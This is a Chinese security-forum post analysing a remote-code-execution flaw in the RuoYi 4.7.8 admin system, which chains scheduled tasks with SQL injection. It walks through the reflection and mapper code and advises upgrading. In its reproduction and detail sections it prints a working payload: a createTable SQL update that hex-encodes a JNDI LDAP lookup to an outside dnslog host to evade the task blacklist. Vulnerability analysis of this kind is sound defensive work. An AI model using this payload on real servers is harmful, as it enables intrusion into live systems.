安全矩阵

 找回密码
 立即注册
搜索
查看: 670|回复: 0

RuoYi 4.7.8 执行任意SQL语句导致RCE漏洞

[复制链接]

32

主题

32

帖子

106

积分

注册会员

Rank: 2

积分
106
发表于 2024-6-3 17:47:21 | 显示全部楼层 |阅读模式
0x01 简介
RuoYi 是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。

0x02 漏洞概述
RuoYi v4.7.8 若依后台管理系统通过定时任务调用 genTableServiceImpl 直接执行 sql 来更改定时任务内容,从而绕过黑白名单的限制,实现RCE。

0x03 影响版本
RuoYi v4.7.8

0x04 环境搭建
官网地址:http://ruoyi.vip

文档地址:https://doc.ruoyi.vip/ruoyi/document/hjbs.html

创建数据库 ry 并导入数据脚本 ry_2021xxxx.sql,quartz.sql

idea 载入项目,找到 ruoyi-admin\src\main\resources\application-druid.yml,修改数据库配置

然后运行 com.ruoyi.RuoYiApplication.java,出现如下图表示启动成功。

0x05 漏洞复现
本地搭建好环境,访问http://localhost/login

admin/amdin123 登录后台,首先创建一个任务 id100:

再另外创建一个任务,内容如下:
  1. genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a6....... WHERE job_id = 100;')
复制代码
SQL 语句中的 16 进制为我们要执行的代码:
  1. javax.naming.InitialContext.lookup('ldap://xxxxx')
复制代码
创建任务 101

可以看到任务 100 已经更新为需要执行的代码

成功收到回显


0x06 漏洞分析
从复现的步骤可以看出,RCE 是由定时任务加上 SQL 注入造成的。

定时任务分析

定时任务添加:

定位到 com/ruoyi/quartz/controller/SysJobController#addSave 方法中,可以看到在添加定时任务前,对字符串进行了黑白名单的判断


当通过了上述条件后,则执行 com/ruoyi/quartz/service/impl/SysJobServiceImpl#insertJob,先将定时任务写入数据库


然后创建定时任务

然后就是定时任务执行逻辑,进入 com/ruoyi/quartz/util/AbstractQuartzJob#execute

继续跟进,进入 invokeMethod 方法

getInvokeTarget:调用目标字符串,获取数据库中 invoke_target 字段

getBeanName:获取 beanName

getMethodName:获取方法名

getMethodParams:获取参数名

然后判断是不是全限定类名,若不是则从 spring 容器中获取


继续跟进 invokeMethod 方法,利用反射执行方法

从上可分析出如下结果:

对象可以是 spring 容器中注册过的 bean,也可以指定 class 名称
若是 spring 容器中注册过的 bean,则可直接从 spring 容器中取出,若是指定 class 名称,则可以通过反射 newInstance()创建对象
SQL 注入分析

在 ruoyi 4.7.5 版本之前,后台接口/tool/gen/createTable处存在 sql 注入(CVE-2022-4566)


而 genTableService 的实现类是 GenTableServiceImpl

对应的 Mapper 语句
  1. <update id="createTable">
  2.        ${sql}
  3. </update>
复制代码
运行结果:

RCE 分析

根据上文可知,ruoyi 计划任务能调用 bean 或者 class 类,SQL 注入依赖于 GenTableServiceImpl#createTable。如果 GenTableServiceImpl 是 bean 对象,就可以直接调用 GenTableServiceImpl#createTable 执行 SQL 语句

在启动类中打印所有加载的 bean,其中包括 genTableServiceImpl
  1. ConfigurableApplicationContext run = SpringApplication.run(RuoYiApplication.class, args);
  2. // 获取所有bean的名称
  3. String[] beanDefinitionNames = run.getBeanDefinitionNames();
  4. // 打印所有bean的名称
  5. for (String beanDefinitionName : beanDefinitionNames) {
  6.     System.out.println(beanDefinitionName);
  7. }
复制代码

于是可以调用 genTableServiceImpl.createTable 实现 sql 语句执行,所以 RCE 的思路:配合注入在 sys_job 数据表中直接插入恶意计划任务,即可不调用 addSave 方法添加计划任务内容,成功绕过黑白名单限制

细节:

在添加 SQL 定时任务时,可以通过 16 进制转换绕过黑名单检测
  1. genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =
  2. 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f797670307a662e646e736c6f672e636e2729 WHERE job_id = 100;')
复制代码
成功调用 genTableServiceImpl.createTable 方法

成功修改

0x06 修复方式
升级至最新版本。

参考链接
https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC

https://xz.aliyun.com/t/11336

历史漏洞
https://blog.takake.com/posts/7219/

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 12:46 , Processed in 0.013372 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表